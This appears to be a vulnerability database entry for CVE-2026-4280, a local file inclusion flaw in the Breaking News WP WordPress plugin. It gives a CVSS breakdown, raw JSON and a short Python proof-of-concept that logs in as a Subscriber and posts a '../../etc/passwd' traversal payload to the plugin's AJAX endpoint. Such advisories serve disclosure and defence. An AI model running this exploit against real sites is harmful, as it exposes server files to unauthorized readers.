Security Vulnerability Report
中文
CVE-2026-4280 CVSS 6.5 MEDIUM

CVE-2026-4280

Published: 2026-04-22 09:16:25
Last Modified: 2026-04-22 20:22:51

Description

The Breaking News WP plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3. This is due to the brnwp_ajax_form AJAX endpoint lacking both authorization checks and CSRF verification, combined with insufficient path validation when the brnwp_theme option value is passed directly to an include() statement in the brnwp_show_breaking_news_wp() shortcode handler. While sanitize_text_field() is applied to user input, it does not strip directory traversal sequences (../). This makes it possible for authenticated attackers, with Subscriber-level access and above, to overwrite the brnwp_theme option with a directory traversal payload (e.g., ../../../../etc/passwd) and subsequently trigger file inclusion of arbitrary files on the server when the shortcode is rendered.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Breaking News WP <= 1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration target = "http://target-wordpress.com" username = "subscriber" password = "password" login_url = f"{target}/wp-login.php" ajax_url = f"{target}/wp-admin/admin-ajax.php" # 1. Authenticate as a low-privileged user (Subscriber) session = requests.Session() login_data = { "log": username, "pwd": password, "redirect_to": f"{target}/wp-admin/", "wp-submit": "Log In" } session.post(login_url, data=login_data) # 2. Exploit: Update brnwp_theme option via vulnerable AJAX endpoint # The payload attempts to include /etc/passwd using path traversal payload_data = { "action": "brnwp_ajax_form", "brnwp_theme": "../../../../../etc/passwd" # Path traversal payload } response = session.post(ajax_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully. Option updated.") print("[+] The vulnerability will be triggered when the shortcode is rendered.") else: print("[-] Failed to send payload.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4280", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:25.310", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Breaking News WP plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3. This is due to the brnwp_ajax_form AJAX endpoint lacking both authorization checks and CSRF verification, combined with insufficient path validation when the brnwp_theme option value is passed directly to an include() statement in the brnwp_show_breaking_news_wp() shortcode handler. While sanitize_text_field() is applied to user input, it does not strip directory traversal sequences (../). This makes it possible for authenticated attackers, with Subscriber-level access and above, to overwrite the brnwp_theme option with a directory traversal payload (e.g., ../../../../etc/passwd) and subsequently trigger file inclusion of arbitrary files on the server when the shortcode is rendered."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/breaking-news-wp/tags/1.3/breaking-news.php#L366", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/breaking-news-wp/tags/1.3/breaking-news.php#L372", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/breaking-news-wp/tags/1.3/breaking-news.php#L85", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/breaking-news-wp/trunk/breaking-news.php#L366", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/breaking-news-wp/trunk/breaking-news.php#L372", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/breaking-news-wp/trunk/breaking-news.php#L85", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4772b482-f5e5-4707-b012-aca70fc89e49?source=cve", "source": "[email protected]"}]}}